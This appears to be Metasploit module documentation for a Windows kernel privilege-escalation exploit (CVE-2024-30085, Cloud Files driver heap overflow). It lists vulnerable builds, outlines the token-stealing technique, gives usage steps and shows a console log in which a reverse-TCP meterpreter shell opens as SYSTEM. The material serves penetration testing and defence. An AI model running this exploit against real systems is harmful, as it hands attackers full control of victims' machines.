## Vulnerable Application
As of the writing of this documentaiton, NIST claims on https://nvd.nist.gov/vuln/detail/cve-2024-30085 that the
following versions of Windows are vulnerable:
```
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.17763.5936

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.19044.4529

cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.19045.4529

cpe:2.3:o:microsoft:windows_11_21h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.22000.3019

cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.22621.3737

cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.22631.3737

cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.17763.5936

cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.20348.2522

cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.25398.950
```

In practice, this exploit did not work on Windows 10_1809, but does appear to work on Windows 10_2004, 10_20H2, and
10_21H1 as well as the remaining vulnerable versions listed by NIST.

CVE-2024-30085 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
Windows 11 and Windows Server 2022.

The vulnerability is a heap overflow in the Cloud Files Mini Filter Driver, a driver that facilitates
management and synchronization of files between a local host and a remote server.  Under certain specific
circumstances, the application will not perform a check of the size when updating a file in local memory,
allowing a heap overflow.
By overflowing and corrupting _WNF_STATE_DATA objects, we can leak the location of the ALPC handle table and again
to leak a PipeAttribute object.  The PipeAttribute object then allows us to leak the location of the system process
token and overwrite own on token with it.
If this exploit fails, it will not work again until the target reboots.

### Setup

Windows 10 2004 to Windows 11 23H2 and Server 2022 through server 23H2 are vulnerable.
This exploit module has been tested on Windows 10 2004 through Windows 11 23H2 10.0.22631.2428 and Server 2022 
10.0.20348.169

## Verification Steps

1. Start msfconsole
1. Get a user level session on an affected Windows machine
1. Do: `windows/local/cve_2024_30085_cloud_files`
1. Set the `LHOST`, `LPORT`, and `SESSION` options
1. Run the module
1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user.

## Scenarios
### Windows 11 (10.0 Build 22631.2428)
```
msf exploit(windows/local/cve_2024_30085_cloud_files) > show options

Module options (exploit/windows/local/cve_2024_30085_cloud_files):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          3                yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT     4545             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64



View the full module info with the info, or info -d command.

msf exploit(windows/local/cve_2024_30085_cloud_files) > set session 5
session => 5
msf exploit(windows/local/cve_2024_30085_cloud_files) > run
[*] Started reverse TCP handler on 10.5.135.201:4545 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] OS version: Windows 11 version 23H2
[+] The target appears to be vulnerable.
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 4152
[*] Reflectively injecting the DLL into 4152...
[*] Sending stage (203846 bytes) to 10.5.132.111
[*] Meterpreter session 6 opened (10.5.135.201:4545 -> 10.5.132.111:49800) at 2025-03-06 16:19:44 -0600

meterpreter > sysinfo
Computer        : WIN11_23H2_8EA9
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
